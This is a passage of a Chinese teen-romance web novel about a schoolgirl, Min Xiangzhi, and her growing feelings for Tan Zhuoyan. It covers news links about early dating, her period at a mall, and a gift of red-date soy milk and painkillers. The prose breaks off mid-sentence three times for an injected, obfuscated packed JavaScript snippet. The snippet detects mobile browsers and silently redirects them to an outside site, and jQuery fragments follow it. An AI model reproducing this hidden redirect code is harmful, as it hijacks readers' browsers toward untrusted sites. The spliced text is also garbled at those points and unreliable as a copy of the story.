倚着门缓了会儿，闵向栀走到写字桌前，她拉开椅子落座下来，将小猫咪摆到了桌上。 看小猫咪立不起来，闵向栀就随手拿过笔筒，将小猫咪靠着笔筒，立了起来。 而后她双肘撑桌，下巴垫着手背，这样面对面仔细瞅了下，果然发现小猫咪左边中间刺绣的白色胡子，短了一截。 可能是因为那一点残缺，跟别的小猫咪不一样，反倒变得独特起来，但也可能是因为谭卓言帮她抓的，令这只小猫咪也变得格外的珍贵。 只是当时的闵向栀还有些懵懂，小女生只顾着开心，终于从谭卓言那里调换过来了她想要的那只。 跟那天从尚熠伟手里接过同样的小猫咪时，完全不一样的心情。 等排骨炖好的时间里，闵向栀睡了个午觉，不知是不是吃完榴莲，又吃了个雪糕的缘故，她小腹有些不舒服。 还以为来例假了，去了趟厕所，才发现不是，可能就是吃雪糕凉着了。 一觉睡到下午四点多才醒来，睁开眼时，门外刚好传来敲门声，是许艺萍的声音：“向栀，醒了么，醒了就出来喝排骨汤吧。” 闵向栀从床上坐起：“我醒了，谭姨。” 应完，闵向栀就穿好拖鞋，走出了房间。 午后的日光晒了大半个房间，谭卓言已经坐到了饭桌前，他低头看着一本厚厚的英文书。 他半张脸几乎隐在了阴影里，眼皮耷拉着，鼻梁挺直。 闵向栀走过去，可能是因为心虚，她拉开谭卓言斜对面的椅子，落座了下来：“哥哥。” 谭卓言从英文书里抬起了头，对面的位置明明空着，闵向栀却故意坐到了旁边的椅子上。 像是在刻意躲着他似的。 谭卓言合上英文书，他半个身子微斜，懒懒的靠在了椅子的后背上：“怎么，哥哥还没开始审讯，就不打自招了？” “……”她招什么了。 不就是跟他打了声招呼么。 谭卓言将手上的英文书搁到一边，又随口问道：“真那么喜欢，那天在电玩城，干嘛不要哥哥的？” “因为是尚学长先递给我的。” “嗯，所以呢，现在怎么又突然喜欢上我那只了。” 闵向栀抿了下嘴，随口胡诌了一句：“尚学长那只小黑猫，脑袋有些扁，不太好看。” 话落，对面的人没了动静，只是望着她，嘴角还噙着淡淡的笑，像是一副了然的样子。 反应了会儿，闵向栀后知后觉的意识到，她刚才是不是被谭卓言套话了，隐晦的说了不喜欢尚学长的那只。 不就间接的承认了，她很喜欢他的那只小黑猫么。 而且，都不介意他的那只短了一截胡子。 看起来好像很喜欢似的。 就好像。 多喜欢他似的。 “……” “轰——”的一下，闵向栀的脑海里一片空白，她连忙拿起桌上的一杯清水，佯装镇定的喝了一两口。 喝完，将水杯放到桌上，闵向栀才慢吞吞的违心道：“其实我也没那么喜欢哥哥的那只小黑猫。”你别误会。 听到闵向栀突然又改了口，谭卓言玩味的抬了抬眉：“嗯，那你还给我。” “那不行。” “不喜欢还不还给我？” 看谭卓言一直穷追不舍，闵向栀准备赖皮到底了，她破罐子破摔道：“反正都是一模一样的小黑猫，哥哥干嘛那么小气？” 谭卓言嗤笑了声：“我小气，你讲不讲理？” 闵向栀睁着一双无辜的大眼睛，倚小卖小道：“我还小，不用讲理。” “……” 恰好此时，许艺萍端着一锅排骨汤走了过来。 闵向栀连忙起身：“谭姨，我帮你拿碗吧。” 说完，闵向栀就抬脚朝厨房走了过去。 拿着碗回来，当着许艺萍的面，闵向栀没好意思再坐到刚才的位置上，那样子好像在刻意疏远谭卓言似的。 她还是乖乖的坐到了谭卓言的对面。 但整个喝排骨汤的过程里，她始终闷着头，都没敢再多看谭卓言一眼。 喝完排骨汤，帮许艺萍收拾好桌子，闵向栀就又回到了她的房间。 桌上的小猫咪玩偶还立在笔筒前，闵向栀走过去，拉开椅子坐了下来，她用指尖戳了戳小猫咪：“我喜欢的是你，不是那个哥哥。” 对，不是。 就算那个哥哥早恋，有了女朋友，她也不会在乎了。 省得让人误会她多在意他，多喜欢他似的，但其实，不管他做什么。 都跟她，没半点关系！ 闵向栀在心底暗暗起誓，以后再也不那么关注谭卓言了，可还没几天，她就把周末发的誓忘得一干二净了。 那天周五，刚放学，同桌俞青玥就将手机递到了闵向栀的面前：“向栀，你快看，有人拍到谭学长跟二中校花，一起吃烤串呢。” 正在那里收拾书包的闵向栀，不禁探头看了一眼，照片里谭卓言跟沈书妍面对面坐着，不知道在聊什么，女生笑的很开心的样子。 “你说这位校花这么执着，谭学长会不会真的被打动啊？” 耳边传来俞青玥的声音，闵向栀收回视线，她闷闷的回了一句：“不知道，两个人吃烤串也没单独相处，其他学长那不也在么。” 俞青玥将手机放到桌上：“你跟谭学长熟悉，没问问他么。” “没有，这种私事不方便问吧。”闵向栀随口敷衍了一句。 话虽这么说，但其实刚才看到那张照片，闵向栀心里比谁都好奇。 好奇谭卓言跟那个校花姐姐在聊什么，也好奇他不会真的喜欢上那个姐姐了吧。 “也是，确实好像问不出口。”俞青玥在旁边附和了一句。 闵向栀又扒头看了一眼照片，那家烧烤店有些眼熟，好像就是上次跟谭卓言一起吃的老马烧烤。 几乎是在认出那家烧烤店的同时，有个念头也跟着在闵向栀的脑海里冒了出来。 走出校门口，一起朝着公交站走去时，看闵向栀有些心不在焉的，俞青玥就问道：“向栀，你是不是有事啊？” 闵向栀咬了下唇：“青玥，你先回家吧，我有事得回去一趟。” “什么事啊？” “我，我好像有东西落教室了。”闵向栀吞吞吐吐道。 俞青玥站那里没动：“那我陪你回去一起拿吧。” “不用了，你先回去吧，我们周一见。” 说完，闵向栀就抓着垂在胸前的书包带子，转身跑走了。 一路跑回校门口，闵向栀却也没走进去，她停下来，喘着气，慢吞吞的继续朝前走去。 快走到那家老马烧烤店时，闵向栀拐到路边一家奶茶店，里面有大部分都是一中的学生。 “谭学长还在那家老马烧烤店呢，等下我们要不要去呀？” “不要，看到学长跟沈书妍腻腻歪歪的，你不难受啊。” “俩人真在一起了？” “就算现在还没确定关系，估计也快了，哪个男生能扛得住，沈书妍这种漂亮女生主动投怀送抱啊。” …… 闵向栀站在一边，听完那两个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15717879|173804||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 女生的对话，想要去老马烧烤店的念头就越发急迫了些。 取到奶茶，离开时，闵向栀从书包里掏出遮阳的渔夫帽，戴好渔夫帽后，她才走出了奶茶店。 拎着奶茶没走几分钟，就到了那家老马烧烤店。 这会儿店里应该很多人才是，但谭卓言那边还有空位，好像没人敢坐过去似的。 拎着奶茶，还有刚才点好的两三串烧烤，闵向栀闷头走过去，她直接落座到了谭卓言身后的位置。 将书包摘下来，放到一边，闵向栀一边侧耳听着后面的对话，一边将吸管插进了奶茶里。 “校花姐姐，你要不要考虑转到我们一中，不然这样老是跑过来看我们卓哥，多麻烦啊。”尚熠伟的声音最先传了出来。 两个主角还没说话，旁边的周容瑄就回了一句：“人沈大小姐父亲是二中的教务主任，本人又是二中的骄傲，干嘛要跑来我们一中啊。” “其实我无所谓，反正在哪里，我都能在女生里稳拿第一名，不过。”沈书妍调皮的看了一眼谭卓言，跟着道，“感情这种事呢，有距离才能产生美，天天见万一烦了怎么办。” “哪能烦呢，校花姐姐这张脸真是百看不腻，你说呢，卓哥。” 闵向栀咬着吸管，好半天都没听到谭卓言的声音，她身子不由得朝后倾了下。 这一下，却不小心蹭到了身后的谭卓言，她立马又直回了身子。 察觉到身后的动静，谭卓言微偏头睨了一眼，余光刚好看到后面椅子上闵向栀的书包，他勾了下唇，又转回了头。 他朝椅子的后背倚了下，单手搭在了旁边的椅子上：“有些人，天天见也不会烦。” 因谭卓言的这句话，旁边响起一阵口哨的起哄声：“哦，肉麻死了。” 沈书妍笑得甜甜的：“那个人是我么？” 谭卓言轻撩眼尾，平静的看了沈书妍一眼，却没吭声，很快他又低下了眼睫，淡淡的坐在那里，仿佛进入了低电量模式，一句话都不肯再说了。 倒是一边的尚熠伟又跟着起哄道：“这还用问么，这一桌子除了校花姐姐你，都是大老爷们儿，总不能情话是说给我们听的吧。” 尚熠伟的话刚落下，沈书妍的声音就跟着传了出来：“好吧，你们都不认，那就当作那句话是讲给我一个人听的。” 闵向栀咬着吸管，她顿在那里，等了好半天都没听到谭卓言在说什么。 作为旁观者，确实觉得他跟那个校花姐姐有些暧昧了。 可能真的像那两个女生说的，就算现在还没在一起，不过也快了。 闵向栀吸了一口奶茶，而后她吐出吸管，慢吞吞地嚼着嘴里的椰果。 看来谭卓言完全没把她之前的话放在心上，又或许他也不怕她告状，但闵向栀却有些为难了。 如果这哥哥真的早恋，她要不要告诉谭姨呢。 这个年纪的男生都有些叛逆，越不让他做的事，他就越反叛，如果草率的告诉谭姨，会不会适得其反呢。 余光看到桌上的手机，闵向栀拿起，她点开搜索网页，搜了下青少年早恋的相关新闻，翻了一页后，她决定。 是时候让那个想早恋的叛逆哥哥也清醒一下了。 于是闵向栀就挑了三条新闻，将链接通过微信，一一转发给了谭卓言。 听到桌上的手机，不断响起微信新消息的提示音，谭卓言拿起手机，解锁看了一眼。 都是闵向栀给他发来的。 谭卓言指尖轻触屏幕，顺着链接的顺序，往下浏览了下那些新闻的标题。 ——18岁高三男生早恋失恋，因意志消沉自残自伤，故而错过高考抱憾终身。 ——高中生早恋，未成年女生怀孕厕所生子，其男友或将负法律责任。 ——高三男生因家长阻挠早恋，而负气离家出走，却惨遭网络诈骗，被不法分子卖到了东南亚地区，至今下落不明。 谭卓言：“……” 谭卓言：？ 11. 11 傍晚的烧烤店人有些多，大部分都是学生，整个店里吵闹声不断。 见桌上的烤串吃的差不多了，尚熠伟就提议道：“今天晚上难得没晚自习，我们唱K去吧。” “好啊，我知道有家新开的店还不错，一起去吧，我请客。”沈书妍在旁附和了句。 “那我们可就不客气了，沈大小姐。”周容瑄笑嘻嘻道。 谭卓言没说话，只是收起手机，跟着桌上的其他人一同站起了身。 闵向栀闷头坐在那里，她捧着还剩下半杯的奶茶，听着后面的动静声。 一阵零零散散的脚步声走远后，后面就变得安静下来。 人都走掉了。 闵向栀将奶茶放到一边，她拿起手机，看了一眼，谭卓言还没回复她的任何信息，也不知道刚才给他发的链接，他都看了没。 捧着手机思索了会儿，闵向栀决定再给谭卓言发一条新闻链接。 她手指划拉着屏幕，切换到刚才的网页，选了一则新闻，就通过微信转发给了谭卓言。 刚一转发出去，就感觉到有人拉开了她斜对面的椅子。 闵向栀应声抬起了头，顺着渔夫帽的帽檐，视线一点点的抬上去，就这么猝不及防的对上了谭卓言低着眸子望过来的淡如烟的视线。 “……” 伴着他手机微信新消息的提示音“叮——”的一声，谭卓言落座了下来。 坐下后，谭卓言单手解锁手机，望了一眼闵向栀刚给他发来的那条信息。 ——曾经的天之骄子，却因为高考前的一场早恋，成绩一落千丈，成年后不幸流浪街头，靠卖唱维生。 “……” 谭卓言缓缓抬起眼皮，望向了闵向栀：“群发任务？” 还没等闵向栀说什么，他又淡淡的追问了一句：“发一条多少钱？” “……” “不是群发。”闵向栀将手机扣到了桌上。 盯着她看了一会儿，谭卓言才又闲闲的丢过去一句：“嗯，那就是只骚扰我一个人？” “……” “也不是骚扰。”闵向栀闷闷的吐出一句话。 谭卓言朝后倚了下，单肘搭在了椅子的扶手上：“那干嘛给我转发那些新闻？” “我爸以前跟我说过，多看看这些新闻，从同龄人身上吸取教训，才不会走歪路。”闵向栀一本正经的解释了一句。 谭卓言不以为然道：“我需要么。” 闵向栀狐疑的盯着谭卓言看了好一会儿，才又跟他说道：“哥哥，你不用在我面前逞强的。” 说完，闵向栀还好心的又提醒了他一句：“你不知道么，古代那些沉迷美色的君王，不是被灭国，就是英年早逝了。” “……” 那意思，男人好色没有好下场的。 看她一本正经的样子，谭卓言觉得有些好笑：“你就不能盼哥哥点好。” 闵向栀摘下渔夫帽，塞进了书包里，而后她站起身，背上了书包，作势要走的样子：“我这本来就是为了哥哥好，是你不懂。” 谭卓言跟着起身，将背包搭在一侧的肩膀上，他手揣着兜，懒懒地掀起眼皮，瞅了闵向栀一眼：“嗯，我谢谢你了。” 说完，谭卓言抬脚朝门口走了过去。 一同走出烧烤店，外面天色已经昏暗起来，华灯初上。 走到公交站，谭卓言视线无意间晃过闵向栀的书包，看上面光秃秃的，他就随口问了一句：“不是很喜欢那只小黑猫，怎么不见你挂书包上。” 闵向栀坐到公交站的椅子上，没吭声。 其实她本来是想挂书包上的，可是她又怕丢，但这话不能跟谭卓言讲。 怕丢，就是过于珍视，约等于喜欢他这个人。 思索片刻，闵向栀毫不避讳道：“因为太丑了，不想带出来。” “……” 这个年纪的女生都这么让人捉摸不透么。 没等几分钟，要乘坐的206路公交车到站，闵向栀跟着谭卓言上了车。 这个时间几乎没什么学生乘坐，公交车上空了很多位置，两个人一直走到最后排，坐了下来。 一落座，谭卓言就戴上了耳机，看起来不太想说话的样子，闵向栀安静的坐在他旁边。 车子启动，窗外的风景逐渐向后退去。 刚开到一半，闵向栀就觉得小腹有些不舒服，不知道是不是刚才喝了一大杯奶茶的缘故，她小腹有些坠，想去趟厕所。 偏头朝旁边看了一眼，谭卓言还戴着耳机，闵向栀只好掏出手机，给他发了条信息：哥哥，我想上厕所。 谭卓言低着眼眸，瞅了眼手机屏幕，他没急着回复，而是打开地图查看了下，附近就有一家商场。 确定好位置，谭卓言才回复了闵向栀一句：附近有个商场，我们下一站下车。 闵向栀：哦。 车子到站，闵向栀跟在谭卓言的身后，一同下了车。 那家商场离得不远，走几分钟就到，进入商场，顺着指示牌，很快就找到了厕所的位置。 谭卓言停了下来：“书包给我。” 许是这些日子被谭卓言照顾惯了，闵向栀也没跟他客气，摘下书包，从侧兜拿出纸巾，她就将书包递了过去：“谢谢哥哥。” “去吧，我就在这里等你。” “哦。”闵向栀转身朝前面的厕所走了过去。 小腹越来越不舒服了，闵向栀突然想到，她这次可能真的来例假了。 走进厕所的隔间，闵向栀立马脱掉身上的校服裤子，先看了一眼，看到内裤上没有血，她才松了口气。 但上完厕所，用纸巾擦拭完，看到纸巾上染了血，闵向栀不禁皱了下眉，果然还是来了。 还好闵向栀平常都会往书包里备一片卫生棉，不过现在书包没在她身边，还在谭卓言那里呢。 “……” 惨了。 早知道刚才还不如背着书包进来呢。 闵向栀坐在马桶上，没起身，带来的纸巾只剩下一张，就算垫着出去，估计也会漏到裤子上。 而且校服裤还是那种浅蓝色的，染上血就会很明显。 皱着一张小脸苦恼的坐了一会儿，闵向栀从口袋里掏出手机，给谭卓言发了条信息：哥哥，你进来一下吧，到女厕门口给我说一声。 谭卓言很快回复过来一条信息：？ 盯着谭卓言发来的那个问号，看了一会儿，闵 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15717880|173804||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 向栀就觉得脸颊有些发烫，她硬着头皮回他：你把书包递给我。 谭卓言：落什么东西了，我给你拿。 “……” 卫生棉你也要给我拿么。 虽然有些害臊，但闵向栀也并不觉得来例假是一件难以启齿，甚至羞耻的事。 记得小学五年级时，有班里的女生陆续来了例假，当时的班主任就专门给所有女生开了个班会，告诉她们这是女生的正常生理现象，不用害怕，也不用觉得羞耻。 闵向栀还坐在那里，她红着脸，在屏幕上敲下几个字：卫生棉。 那边没了动静，直到过了一两分钟后，闵向栀才终于收到谭卓言回复过来一句：到了，在门口。 闵向栀：哦。 将手机塞进口袋里，闵向栀掏出最后一张纸巾，折了几下，垫到内裤上，她才终于起身，走出了隔间。 商场的女厕不大，走几步就到了门口，谭卓言见她出来，就帮她托着书包，方便她拿东西。 闵向栀低头走了过去，她拉开书包最里侧的内袋，从里面拿出个粉色碎花的棉布小包，那是之前妈妈专门买给她用来装备用卫生棉的。 刚拿出小包，就听见从头顶上方传来谭卓言不着调的，懒洋洋的声音：“你还真是不跟我客气。” 许是没明白他的意思，闵向栀将小包攥到手心里，她抬眸，望向了谭卓言：“嗯？” 少年的眼尾似是勾着笑，一贯的玩世不恭：“什么都跟我讲。” 明白过来他的意思，这么面对面，闵向栀的手里还攥着卫生棉，她害臊的有些不知所措。 站在那里红着脸，憋了半天，闵向栀终于憋出来一句话：“可能刚才我把哥哥当成女生了。” “……” 拿着小包，走进最里头的隔间，换好卫生棉，闵向栀洗了洗手，才走出了女厕。 谭卓言还站在门口一侧的墙边，他戴着耳机，闭着眼，像是在听歌的样子。 闵向栀走过去，扯了下她的书包带子：“哥哥，给我书包吧。” 谭卓言缓缓睁开了眼睛，他单手扯下耳机线，随手塞进了口袋里：“不用哥哥给你背着。” “不用，没那么脆弱。”闵向栀从他手里拎过了书包。 “嗯，行，那你这几天，吃什么比较好一些？”谭卓言还懒懒的倚着墙。 闵向栀一边往身上背着书包，一边狐疑的望向了谭卓言，也不知道这哥哥干嘛突然这样问她。 但她也没想太多，就随口回了他一句：“我妈说，可以多吃红枣。” 朝前走时，谭卓言又问道：“那要是肚子疼呢？” 听到这里，闵向栀才后知后觉的意识到，谭卓言这是想从她这里汲取经验，以后好照顾他的女朋友吧。 “哥哥干嘛问这么多？”闵向栀突然不开心的怼了他一句。 走在旁边的谭卓言，双手揣着兜，肩膀微塌，模样吊儿郎当的，听到闵向栀的问话，他从口袋里抽出一只手，搔了搔眼皮。 而后他开口，语气里似是含着笑，也似是还带着些不正经的意味，懒洋洋的丢过来一句：“哥哥这不是第一天当女生，很多问题不懂，不得向你虚心请教啊。” “……” 12. 12 闵向栀无语地瞅了他一眼：“哥哥要是肚子疼，可以喝红糖水，也可以去药房买药。” “买什么药？”谭卓言追问了一句。 那虚心请教的模样，仿佛他真的变成了女生似的。 看他那么认真，闵向栀也没了脾气，继续好心的跟他分享怎么做个女生的经验：“你就跟药房的阿姨说，买痛经药就行了。” “嗯。”谭卓言懒懒的应了一句，“这么麻烦啊。” “……” 不过一秒，这哥哥又恢复了平日里散漫无谓的模样。 但意识到，从刚开始谭卓言就是在跟她开玩笑，并不是想从她这里讨教以后怎么照顾女朋友时，闵向栀的心情突然就好了起来。 “听到哥哥要当女生，那么开心啊？”旁边的谭卓言冷不丁的冒出来一句。 “……” 闵向栀抬手，用指尖压了压唇角，有那么明显么。 压完唇角，闵向栀小声嘟囔了一句：“我哪里开心了。” “那怎么让我看到了。” “看到什么了？”闵向栀扭头看向他。 谭卓言双手还插着兜，一副无赖的样子，玩世不恭道：“你偷笑了。” “……” 走出商场，外头天色已昏暗。 将近傍晚七点，商业区这边还是很繁华，亮着灯的街道到处都是行人。 快走到公交站时，谭卓言突然开口跟闵向栀说道：“街对面有很多小吃店，你有什么想吃的么？” 闵向栀转头跟着看了一眼街对面，小吃店很多，一时间她也挑不出来喜欢的，于是就随口回了句：“没什么想吃的，我都可以的。” 说话间，两个人已经走到了站牌底下。 看着闵向栀坐到休闲倚上，谭卓言才又跟她说道：“你就坐这里等我吧，我过去买些吃的，很快回来。” “嗯，好。”闵向栀乖乖的应了一句。 谭卓言转身，下了台阶，那边刚好绿灯，他穿过马路，朝着对面的街道走去，身影很快就没入了傍晚黯淡的天光里。 看着谭卓言走远，闵向栀从书包里掏出手机，闲得无聊，她打开朋友圈翻了翻。 刚好这时，小家群里，母亲黄美琪给她发来条信息：十一赶上个周末，我跟你爸能休息两天，我的宝贝要不要过来呀？ 闵向栀捧着手机：要，我想你跟爸爸了。 黄美琪：那宝贝就放假过来吧，爸爸妈妈陪你玩两天，好不好？ 闵向栀：好，我之后跟谭姨说一声，妈妈就帮我订机票吧。 黄美琪：在谭姨家有没有听话呀？ 闵向栀：我很听话的，妈妈放心好了。 …… 没过多久，谭卓言就拎着一些吃的，返了回来。 一坐下，谭卓言就将手上一份吃的递给了闵向栀：“买了份套餐，烧饼夹里脊，还有豆浆。” “谢谢哥哥。”闵向栀接了过来。 许是豆浆是现磨出来的，还有些烫手，于是闵向栀就直接搁到了座位的一旁。 刚拆开烧饼里脊外面的塑料袋，闵向栀就迫不及待的跟谭卓言分享道：“哥哥，我十一放假要去国外，跟爸爸妈妈见面。” “嗯，你爸妈有空陪你么。”谭卓言随口附和了一句。 “他们周末可以陪我两天。” 谭卓言拆开吸管，插进了豆浆里：“那就好好玩两天。” 闵向栀嘴里嚼着里脊烧饼，不方便说话，她就点了下头，当作回应了。 看旁边的谭卓言没转过头，还望着她，似是有话还要说，咽下嘴里的里脊烧饼后，闵向栀就问道：“哥哥，你还有话要跟我说么？”还有什么要叮嘱的么？ 谭卓言的身子稍稍朝闵向栀这边倚了过来，他靠近她，好似跟她说悄悄话似的，在她耳边故意压低声音，呢喃了一句：“别太想念哥哥。” “……” 吃完里脊烧饼，豆浆刚好也没那么烫了，闵向栀拿起，拆开吸管，插进豆浆里，她尝了一口。 顺滑的豆浆入喉，好像跟平常喝的豆浆味道有点不一样。 闵向栀吐出吸管，将那杯豆浆拿到面前看了一眼，刚才只顾着跟谭卓言聊天，没注意到，她手上豆浆的纸杯上印着红枣的标志。 还有红枣豆浆的四个字。 难怪跟之前喝的味道不一样，原来她这杯豆浆是红枣口味的。 闵向栀双手捧着豆浆，她就着吸管，咕咚咕咚的喝了两三口，余光中，看到旁边的谭卓言正一边看手机，一边喝着豆浆。 趁他没注意，闵向栀咬着吸管，偏头偷偷看了一眼他手里的豆浆。 纸杯上光秃秃的，只有原味豆浆四个字。 所以那杯红枣豆浆，是他专门买来给她的吧。 视线稍稍上移，闵向栀情不自禁的望向了旁边的谭卓言，傍晚的天色暗，只有少许路灯蒙黄的光亮落进来，这个角度只能看到他低垂的侧脸，少年额前的碎发轻轻扬起，染了那么一点浅浅的碎光，他薄唇微抿着，神色淡然，没任何多余的情绪，却依然惊艳无比。 难怪学校里会有那么多女生喜欢他，真是天生的狐狸相，随随便便就能魅惑人心。 察觉到谭卓言将要抬眼望过来，闵向栀心虚的立马转过了头，她咬住吸管，假装喝起了豆浆。 “车来了，我们回家吧。”谭卓言起身，将喝完的豆浆纸杯丢进了垃圾桶里。 闵向栀捧着豆浆点头应了一声：“嗯。” 那杯红枣豆浆已经差不多见底了，闵向栀却还握在手里，没舍得扔。 回去的路上没怎么堵车，车很快就到了站，下车后，闵向栀拎着空的豆浆杯，跟在谭卓言的身后，穿过了夜里还有些热闹的长乐街。 到了单元楼，等电梯时，注意到闵向栀手里还拎着豆浆，谭卓言随口问了一句：“还没喝完呢？” “喝完了。” “那怎么还拎着。” 不知道在心虚什么，闵向栀也不敢抬头看谭卓言，她低垂着眉眼，将手里的豆浆藏到了身子的一侧，小声咕哝了一句：“我忘记扔了。” 谭卓言没再问下去，他从背包里掏出一袋东西，递到了闵向栀的面前：“给你买的。” 闵向栀抬眸，瞅了一眼，看到塑料袋上印着药房的字眼，她疑惑的瞅向了谭卓言：“买的什么药么。” “嗯。”谭卓言偏头望着她，他微抬胳膊，示意闵向栀接过他手里的东西。 闵向栀抬手接了过来，还没搞清楚袋子里是什么药，就听到旁边的谭卓言如常般懒洋洋的丢过来一句：“大半夜肚子疼，可别来敲我的房门。” “……” 回到家，换好鞋子，跟许艺萍打完招呼，闵向栀就拎着手里的东西，钻进了她自己的房间。 开了灯，将书包丢到一边，闵向栀就拎着空掉的豆浆杯，还有那袋药，坐到了她的书桌前。 窗外的夜幕已降临，街道逐渐安静下来，有麻雀从电线上腾空飞起，转眼就消失在了茫茫的夜色中。 闵向栀坐在那里，从袋子里拿出药盒，她看了一眼背后的说明，果然是止痛经的药。 她平常来例假时，就算肚子疼，也不是很严重，基本睡一觉就缓解了很多，从来都不吃药。 但看到这盒药，闵向栀还是莫名的很开心，她从抽屉里拿出早之前谭卓言帮她抓的那只黑色的小猫咪玩偶，而后她将小猫咪跟其他东西一并放到了一起。 闵向栀双肘交叠在桌上，垫着下巴，她眼睛来回扫视了一圈桌上的东西。 小猫咪玩偶，红枣豆浆，止痛药。 闵向栀翘着嘴角，不过那么来回看了几眼，心里的开心就越来越多，像是一打开瓶盖就溢出来的汽水似的，止都止不住。 那感觉好像比过年收到压岁钱还要开心的样子。 但盯着看了一会儿，又觉得对着那些东西傻笑有些莫名奇妙，闵向栀直起身子，她双手拍了拍脸，而后拿过红枣豆浆的杯子，准备要扔掉时，忽地又想起什么，她又放了回去。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15717881|173804||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 直到从抽屉里拿出个拍立得相机，给红枣豆浆的杯子拍了张照片，她才终于扔掉。 窗外的夜色越来越深了。 闵向栀伏在桌边，她握着碳素笔，在照片的空白处，写下了红枣豆浆四个字，而后她又用红色的碳素笔在字体的两边涂了两个红色的小桃心。 在最下面的空白处，写下今天的日期，闵向栀又特意找来个她喜欢的糖果盒子，将小猫咪玩偶，还有那盒药，那张拍立得照片。 连同那些无法与外人道来的，可能连她自己都还不清楚的，在她十六岁情窦初开的年纪，她好像偷偷喜欢上了一个人的心事。 一并藏到了那个小小的糖果盒子里。 日子一天天的流逝，九月剩余的十来天转眼而过，很快就迎来了国庆的七天长假。 放假的第一天，闵向栀就飞到国外，跟父母团聚了下。 等她回国时，假期也才刚过一半，还剩三天。 看闵向栀回来这么早，去机场接她时，许艺萍不禁有些意外：“我还以为你要多待两天呢，没想到这么快就回来了。” 闵向栀乖乖的坐在副驾驶座上，她扯过安全带：“我爸妈过完周末，就没时间陪我了，也不放心我一个人待着，所以就让我回来了。” “回来好，我听你谭叔说，那边治安不太好，你一个女孩子在外面逛，你爸妈肯定担心，还是我们这边安全。”许艺萍启动了车子。 闵向栀抓着安全带，随口问了一句：“谭姨没跟哥哥们出去玩么。” “没，我得在家看着店，不过那俩兄弟倒是出去玩了一趟。” 车子开到大路上，闵向栀没再打扰许艺萍开车。 直到快到家时，许艺萍才又随口聊了一句：“我们明天上山，去寺庙吃素，你要是感兴趣，就跟着谭姨，还有两个哥哥一起去吧，那边还挺好玩的。” “好啊，反正我也没什么安排。”闵向栀一口答应了下来。 回到家，看到谭家的两兄弟正在客厅里打游戏，闵向栀打了声招呼：“贤哥哥。” 谭知贤点了下头，当作回应了。 旁边的谭卓言窝在沙发里，懒懒的抬起眼，视线掠过闵向栀包包上挂的那只小黑猫，之前嫌弃太丑，现在出国竟然也带着。 谭卓言玩味的抬了抬眉：“怎么，没看到我啊。” “看到了，哥哥好。” 说完，闵向栀警惕的摘下小猫咪玩偶，放进了包包里。 “……” 谭卓言勾了下唇，没再逗她。 回到房间，闵向栀收拾了下行李，将从国外带回来的礼物，分给许艺萍，还有谭家两兄弟后，她就窝在房间里写起了作业。 一整个下午都没出门。 傍晚五点多时，外面响起敲门声，跟着传来的是谭卓言温凉慵懒的声线：“小鬼，还睡午觉呢？” 闵向栀放下笔，她走过去，打开了门：“我在写作业呢。” 谭卓言双手插兜，整个人好似没骨头似的倚着门框，他朝闵向栀的房间里望了一眼，看到她写字桌上铺满了书本，不禁好奇的问了一句：“干嘛这么赶作业，假期不是还有三天？” 闵向栀站在那里，回道：“明天我要跟谭姨去山上的寺庙吃素，所以想尽快写完作业。” 听到她这样说，谭卓言顺口溜出来一句：“你也要跟着去？” 他的语调含糊不清，也听不出什么情绪来，但他的眼尾勾着笑，模样浪荡不羁，在午后的日光里越发的勾人，魅惑。 连带着他好看的五官也越发的艳丽起来。 盯着他看时，闵向栀嘴里的那句怎么了我不能跟着去么，忽地一下就卡在了喉咙处，没能讲出来。 闵向栀怔在了那里。 对面的谭卓言却还没离开，还双手插兜的倚靠着门框，他眼尾的笑似是勾深了些，没等闵向栀应话，他就拖着尾音，温凉的气息里夹着散漫的笑意。 又懒懒散散的丢过来一句：“一回来就黏着哥哥啊。” “……” 13. 13 看他还像以前一样的不正经，闵向栀抿了抿唇，她握着门把手，作势要关门的样子：“我是跟着谭姨去的，又不是跟着你。”你别想太多。 “还不是一样。” “哪里一样了，哥哥去不去都跟我没关系。” 谭卓言双手从口袋里抽出来，他双臂抱胸，微塌着一侧的肩膀：“嗯，行，那明天我不去了，你代我去吧，反正我也不想去。” “……” 看谭卓言变得这么快，闵向栀一时之间还有些反应不过来，她挠了挠头：“哥哥是有事不想去么？”你是要跟那个校花姐姐约会么？ 这话一出，她的态度比之谭卓言还要一百八十度的大转变。 明明刚才还一副你去不去都跟我无关的小白眼狼态度，怎么这会儿反倒又关心起他了。 谭卓言轻笑了声：“干嘛突然这么关心我。” 哪里是关心。 明明是担心他跟校花姐姐出去玩，但这话闵向栀是没办法讲出来的。 “不是关心。”闵向栀温吞吞道，“我是担心你。” “担心我什么。” 